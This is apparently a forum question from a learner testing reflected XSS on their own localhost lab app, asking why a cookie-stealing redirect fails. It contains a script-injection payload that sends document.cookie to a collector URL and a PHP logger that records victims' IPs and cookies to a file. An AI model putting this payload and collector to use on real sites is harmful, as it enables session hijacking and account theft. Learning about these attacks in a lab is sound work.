I am trying to learn about XSS so in order to that I have made a web app vulnerable to reflected XSS. I am trying to steal the user's cookies, so if I write the following the cookie value is displayed:
http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>
I want to send the cookie value to the following PHP script (getcookies.php) in my localhost:
<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . ' Cookie: ' . $_GET["c"] . PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>
When I write in the browser's URL this, the PHP script gets the 'test' value of c param.
http://localhost/getcookies.php?c=test
Instead when I write this, the PHP script does not get any value.
http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>
Could somebody tell me why it doesn't work?
Update:
I can also execute this payloads:
message=<script>document.body.innerHTML = '';</script> message=<script>document.write("hi");</script>
The cookies are not HttpOnly.
No, the GET request is not sent to the server.